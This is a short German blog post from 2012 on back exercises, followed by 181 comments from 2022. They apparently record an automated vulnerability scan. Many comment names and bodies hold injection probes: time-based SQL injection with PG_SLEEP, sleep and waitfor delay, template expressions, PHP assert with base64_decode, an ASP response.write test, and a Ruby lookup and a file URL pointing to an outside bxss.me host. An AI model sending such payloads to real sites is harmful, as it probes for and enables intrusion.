10. August 2012

Locker vom Hocker

Rückengymnastik Pro und Kontra

Viele Menschen leiden oft oder gelegentlich an Rückenschmerzen. Auch junge und sportliche Erwachsene und sogar Jugendliche sind davon betroffen.

Mit relativ wenig Aufwand kann aber einem Rücken geholfen werden:

Funktionelles Muskeltraining

Kräftigung Rumpfmuskulatur

Kraftausdauer

Koordinations- und Gleichgewichtstraining

Was spricht dagegen?

Kommentar schreiben

Kommentare: 181

#1
LcMdrZRX (Donnerstag, 08 September 2022 16:29)

1
#2
LcMdrZRX (Donnerstag, 08 September 2022 16:31)

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#3
LcMdrZRX (Donnerstag, 08 September 2022 16:32)

1
#4
LcMdrZRX (Donnerstag, 08 September 2022 16:34)

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#5
LcMdrZRX (Donnerstag, 08 September 2022 16:34)

1
#6
LcMdrZRX (Donnerstag, 08 September 2022 16:35)

1
#7
LcMdrZRX (Donnerstag, 08 September 2022 16:35)

bxss.me
#8
VDbV90an') OR 929=(SELECT 929 FROM PG_SLEEP(15))-- (Donnerstag, 08 September 2022 16:35)

1
#9
LcMdrZRX (Donnerstag, 08 September 2022 16:36)

1
#10
LcMdrZRX (Donnerstag, 08 September 2022 16:37)

1
#11
LcMdrZRX (Donnerstag, 08 September 2022 16:38)

1
#12
LcMdrZRX (Donnerstag, 08 September 2022 16:39)

1
#13
LcMdrZRX (Donnerstag, 08 September 2022 16:40)

1
#14
LcMdrZRX (Donnerstag, 08 September 2022 16:42)

1
#15
LcMdrZRX (Donnerstag, 08 September 2022 16:43)

1
#16
LcMdrZRX (Donnerstag, 08 September 2022 16:45)

1
#17
LcMdrZRX (Donnerstag, 08 September 2022 16:46)

1
#18
LcMdrZRX (Donnerstag, 08 September 2022 16:47)

1
#19
LcMdrZRX (Donnerstag, 08 September 2022 16:48)

1
#20
LcMdrZRX (Donnerstag, 08 September 2022 16:49)

1
#21
LcMdrZRX (Donnerstag, 08 September 2022 16:50)

1
#22
LcMdrZRX (Donnerstag, 08 September 2022 16:51)

1
#23
LcMdrZRX (Donnerstag, 08 September 2022 16:52)

1
#24
LcMdrZRX (Donnerstag, 08 September 2022 16:55)

1
#25
LcMdrZRX (Donnerstag, 08 September 2022 16:59)

1
#26
LcMdrZRX (Donnerstag, 08 September 2022 17:00)

1
#27
LcMdrZRX (Donnerstag, 08 September 2022 17:01)

1
#28
LcMdrZRX (Donnerstag, 08 September 2022 17:07)

1
#29
LcMdrZRX (Donnerstag, 08 September 2022 17:08)

1
#30
LcMdrZRX (Donnerstag, 08 September 2022 17:09)

1
#31
LcMdrZRX (Donnerstag, 08 September 2022 17:21)

1
#32
HfjNUlYZ (Montag, 12 September 2022 21:36)

1
#33
HfjNUlYZ (Montag, 12 September 2022 21:37)

1
#34
HfjNUlYZ (Montag, 12 September 2022 21:38)

1
#35
HfjNUlYZ (Montag, 12 September 2022 21:52)

1
#36
HfjNUlYZ (Montag, 12 September 2022 21:55)

1
#37
HfjNUlYZ (Montag, 12 September 2022 21:57)

1
#38
HfjNUlYZ (Montag, 12 September 2022 21:58)

1
#39
HfjNUlYZ (Montag, 12 September 2022 21:59)

1
#40
HfjNUlYZ (Montag, 12 September 2022 21:59)

1
#41
HfjNUlYZ (Montag, 12 September 2022 22:00)

1
#42
HfjNUlYZ (Montag, 12 September 2022 22:01)

1
#43
HfjNUlYZ (Montag, 12 September 2022 22:02)

1
#44
HfjNUlYZ (Montag, 12 September 2022 22:03)

1
#45
HfjNUlYZ (Montag, 12 September 2022 22:06)

1
#46
HfjNUlYZ (Montag, 12 September 2022 22:07)

1
#47
HfjNUlYZ (Montag, 12 September 2022 22:10)

1
#48
HfjNUlYZ (Montag, 12 September 2022 22:13)

1
#49
HfjNUlYZ (Montag, 12 September 2022 22:13)

1
#50
HfjNUlYZ (Montag, 12 September 2022 22:14)

1
#51
HfjNUlYZ (Montag, 12 September 2022 22:16)

1
#52
HfjNUlYZ (Montag, 12 September 2022 22:22)

1
#53
HfjNUlYZ (Montag, 12 September 2022 22:23)

1
#54
HfjNUlYZ (Montag, 12 September 2022 22:26)

1
#55
HfjNUlYZ (Montag, 12 September 2022 22:27)

1
#56
HfjNUlYZ (Montag, 12 September 2022)

1
#57
HfjNUlYZ (Montag, 12 September 2022 22:29)

1
#58
HfjNUlYZ (Montag, 12 September 2022 22:36)

1
#59
HfjNUlYZ (Montag, 12 September 2022 22:38)

1
#60
HfjNUlYZ (Montag, 12 September 2022 22:42)

1
#61
HfjNUlYZ (Montag, 12 September 2022 22:42)

1
#62
HfjNUlYZ (Montag, 12 September 2022 22:44)

1
#63
HfjNUlYZ (Montag, 12 September 2022 22:45)

1
#64
HfjNUlYZ (Montag, 12 September 2022 22:46)

-1 OR 2+904-904-1=0+0+0+1
#65
HfjNUlYZ (Montag, 12 September 2022)

-1 OR 3+904-904-1=0+0+0+1
#66
HfjNUlYZ (Montag, 12 September 2022 22:47)

-1' OR 2+398-398-1=0+0+0+1 --
#67
HfjNUlYZ (Montag, 12 September 2022 22:50)

-1' OR 2+752-752-1=0+0+0+1 or 'EBrQH3r5'='
#68
HfjNUlYZ (Montag, 12 September 2022 22:51)

-1" OR 2+80-80-1=0+0+0+1 --
#69
HfjNUlYZ (Montag, 12 September 2022 22:52)

-1" OR 3+80-80-1=0+0+0+1 --
#70
HfjNUlYZ (Montag, 12 September 2022 22:52)

-1" OR 3*2<(0+5+80-80) --
#71
HfjNUlYZ (Montag, 12 September 2022 22:54)

-1" OR 3*2>(0+5+80-80) --
#72
HfjNUlYZ (Montag, 12 September 2022 22:55)

if(now()=sysdate(),sleep(15),0)
#73
HfjNUlYZ (Dienstag, 13 September 2022 01:31)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
#74
HfjNUlYZ (Dienstag, 13 September 2022 01:31)

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
#75
HfjNUlYZ (Dienstag, 13 September 2022 01:32)

-1; waitfor delay '0:0:15' --
#76
HfjNUlYZ (Dienstag, 13 September 2022 01:36)

-1); waitfor delay '0:0:0' --
#77
HfjNUlYZ (Dienstag, 13 September 2022 01:38)

1 waitfor delay '0:0:4.583' --
#78
HfjNUlYZ (Dienstag, 13 September 2022 01:41)

-5 OR 459=(SELECT 459 FROM PG_SLEEP(9.166))--
#79
HfjNUlYZ (Dienstag, 13 September 2022 01:41)

-5) OR 133=(SELECT 133 FROM PG_SLEEP(15))--
#80
HfjNUlYZ (Dienstag, 13 September 2022 01:44)

-1)) OR 42=(SELECT 42 FROM PG_SLEEP(15))--
#81
HfjNUlYZ (Dienstag, 13 September 2022 01:45)

aUVUXx8q') OR 509=(SELECT 509 FROM PG_SLEEP(15))--
#82
HfjNUlYZ (Dienstag, 13 September 2022 01:48)

fsmc2ZXk')) OR 326=(SELECT 326 FROM PG_SLEEP(4.583))--
#83
HfjNUlYZ (Dienstag, 13 September 2022 01:48)

1
#84
HfjNUlYZ (Dienstag, 13 September 2022 01:49)

KhR6PAsB')) OR 237=(SELECT 237 FROM PG_SLEEP(15))--
#85
HfjNUlYZ (Dienstag, 13 September 2022 01:50)

1
#86
HfjNUlYZ (Dienstag, 13 September 2022 01:50)

1
#87
HfjNUlYZ (Dienstag, 13 September 2022 01:51)

1
#88
HfjNUlYZ (Dienstag, 13 September 2022 01:52)

1
#89
HfjNUlYZ (Dienstag, 13 September 2022 01:52)

1
#90
HfjNUlYZ (Dienstag, 13 September 2022 01:53)

1
#91
HfjNUlYZ (Dienstag, 13 September 2022 01:54)

1
#92
HfjNUlYZ (Dienstag, 13 September 2022 01:55)

1
#93
HfjNUlYZ (Dienstag, 13 September 2022 01:55)

1
#94
HfjNUlYZ (Dienstag, 13 September 2022 01:56)

1
#95
'" (Dienstag, 13 September 2022 01:57)

1
#96
HfjNUlYZ (Dienstag, 13 September 2022 01:57)

1
#97
HfjNUlYZ (Dienstag, 13 September 2022 01:58)

1
#98
HfjNUlYZ (Dienstag, 13 September 2022 01:58)

1
#99
HfjNUlYZ (Dienstag, 13 September 2022 01:59)

1
#100
HfjNUlYZ (Dienstag, 13 September 2022 02:00)

1
#101
HfjNUlYZ (Dienstag, 13 September 2022 02:00)

1
#102
HfjNUlYZ (Dienstag, 13 September 2022 02:01)

1
#103
HfjNUlYZ (Dienstag, 13 September 2022 02:01)

1
#104
))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) (Dienstag, 13 September 2022 02:02)

1
#105
HfjNUlYZ (Dienstag, 13 September 2022 02:02)

1
#106
HfjNUlYZ (Dienstag, 13 September 2022 02:03)

1
#107
HfjNUlYZ (Dienstag, 13 September 2022 02:04)

1
#108
HfjNUlYZ (Dienstag, 13 September 2022 02:04)

1
#109
HfjNUlYZ (Dienstag, 13 September 2022 02:05)

1
#110
HfjNUlYZ (Dienstag, 13 September 2022 02:05)

${9999877+9999777}
#111
HfjNUlYZ (Dienstag, 13 September 2022 02:06)

1
#112
${9999043+10000180} (Dienstag, 13 September 2022)

1
#113
HfjNUlYZ (Dienstag, 13 September 2022 02:07)

1
#114
HfjNUlYZ (Dienstag, 13 September 2022 02:08)

1
#115
HfjNUlYZ (Dienstag, 13 September 2022 02:08)

1&n982039=v930753
#116
HfjNUlYZ (Dienstag, 13 September 2022 02:09)

'+'A'.concat(70-3).concat(22*4).concat(104).concat(71).concat(101).concat(83)+(require'socket'
Socket.gethostbyname('hitmz'+'ycclczio0e183.bxss.me.')[3].to_s)+'
#117
HfjNUlYZ (Dienstag, 13 September 2022 02:09)

1
#118
HfjNUlYZ (Dienstag, 13 September 2022 02:10)

1
#119
HfjNUlYZ (Dienstag, 13 September 2022 02:10)

1
#120
HfjNUlYZ (Dienstag, 13 September 2022 02:11)

1
#121
HfjNUlYZ (Dienstag, 13 September 2022 02:12)

1
#122
HfjNUlYZ (Dienstag, 13 September 2022 02:12)

1
#123
HfjNUlYZ (Dienstag, 13 September 2022 02:13)

1
#124
HfjNUlYZ (Dienstag, 13 September 2022 02:13)

1
#125
HfjNUlYZ (Dienstag, 13 September 2022 02:14)

1
#126
HfjNUlYZ (Dienstag, 13 September 2022 02:15)

1
#127
HfjNUlYZ (Dienstag, 13 September 2022 02:15)

1
#128
HfjNUlYZ (Dienstag, 13 September 2022 02:16)

1
#129
HfjNUlYZ (Dienstag, 13 September 2022 02:17)

^(#$!@#$)(()))******
#130
HfjNUlYZ (Dienstag, 13 September 2022 02:17)

1
#131
HfjNUlYZ (Dienstag, 13 September 2022 02:17)

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
#132
HfjNUlYZ (Dienstag, 13 September 2022 02:17)

1
#133
HfjNUlYZ (Dienstag, 13 September 2022 02:18)

1
#134
Http://bxss.me/t/fit.txt (Dienstag, 13 September 2022 02:19)

1
#135
HfjNUlYZ (Dienstag, 13 September 2022 02:19)

1
#136
HfjNUlYZ (Dienstag, 13 September 2022 02:20)

1
#137
HfjNUlYZ (Dienstag, 13 September 2022 02:21)

1
#138
HfjNUlYZ (Dienstag, 13 September 2022 02:22)

1
#139
HfjNUlYZ (Dienstag, 13 September 2022 02:22)

1
#140
HfjNUlYZ (Dienstag, 13 September 2022 02:23)

1
#141
HfjNUlYZ (Dienstag, 13 September 2022 02:23)

1
#142
HfjNUlYZ (Dienstag, 13 September 2022 02:24)

1
#143
HfjNUlYZ (Dienstag, 13 September 2022 02:24)

1
#144
-1 OR 2+984-984-1=0+0+0+1 -- (Dienstag, 13 September 2022 02:25)

1
#145
HfjNUlYZ (Dienstag, 13 September 2022 02:26)

1
#146
HfjNUlYZ (Dienstag, 13 September 2022 02:26)

1
#147
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7')); (Dienstag, 13 September 2022 02:27)

1
#148
HfjNUlYZ (Dienstag, 13 September 2022 02:28)

1
#149
HfjNUlYZ (Dienstag, 13 September 2022)

1
#150
HfjNUlYZ (Dienstag, 13 September 2022 02:29)

1
#151
HfjNUlYZ (Dienstag, 13 September 2022 02:30)

1
#152
1'" (Dienstag, 13 September 2022 02:30)

1
#153
HfjNUlYZ (Dienstag, 13 September 2022 02:32)

1
#154
HfjNUlYZ (Dienstag, 13 September 2022 02:33)

1
#155
HfjNUlYZ (Dienstag, 13 September 2022 02:33)

1
#156
HfjNUlYZ (Dienstag, 13 September 2022 02:34)

1
#157
HfjNUlYZ (Dienstag, 13 September 2022 02:35)

1
#158
HfjNUlYZ (Dienstag, 13 September 2022 02:35)

1
#159
HfjNUlYZ (Dienstag, 13 September 2022)

1
#160
HfjNUlYZ (Dienstag, 13 September 2022 02:38)

1
#161
HfjNUlYZ (Dienstag, 13 September 2022 02:39)

1
#162
HfjNUlYZ (Dienstag, 13 September 2022 02:39)

1
#163
HfjNUlYZ (Dienstag, 13 September 2022 02:40)

1
#164
HfjNUlYZ (Dienstag, 13 September 2022 02:41)

1
#165
HfjNUlYZ (Dienstag, 13 September 2022 02:41)

1
#166
HfjNUlYZ (Dienstag, 13 September 2022 02:42)

1
#167
HfjNUlYZ (Dienstag, 13 September 2022 02:43)

1
#168
HfjNUlYZ (Dienstag, 13 September 2022 02:43)

1
#169
HfjNUlYZ (Dienstag, 13 September 2022 02:45)

1
#170
HfjNUlYZ (Dienstag, 13 September 2022 02:47)

1
#171
HfjNUlYZ (Dienstag, 13 September 2022 02:48)

1
#172
HfjNUlYZ (Dienstag, 13 September 2022 02:48)

1
#173
HfjNUlYZ (Dienstag, 13 September 2022 02:49)

1
#174
HfjNUlYZ (Dienstag, 13 September 2022)

1
#175
HfjNUlYZ (Dienstag, 13 September 2022 02:55)

1
#176
HfjNUlYZ (Dienstag, 13 September 2022 02:56)

1
#177
HfjNUlYZ (Dienstag, 13 September 2022 02:57)

"+response.write(9687597*9262438)+"
#178
HfjNUlYZ (Dienstag, 13 September 2022 02:57)

1
#179
HfjNUlYZ (Dienstag, 13 September 2022)

1
#180
HfjNUlYZ (Dienstag, 13 September 2022 02:58)

1
#181
HfjNUlYZ (Dienstag, 13 September 2022 02:58)

1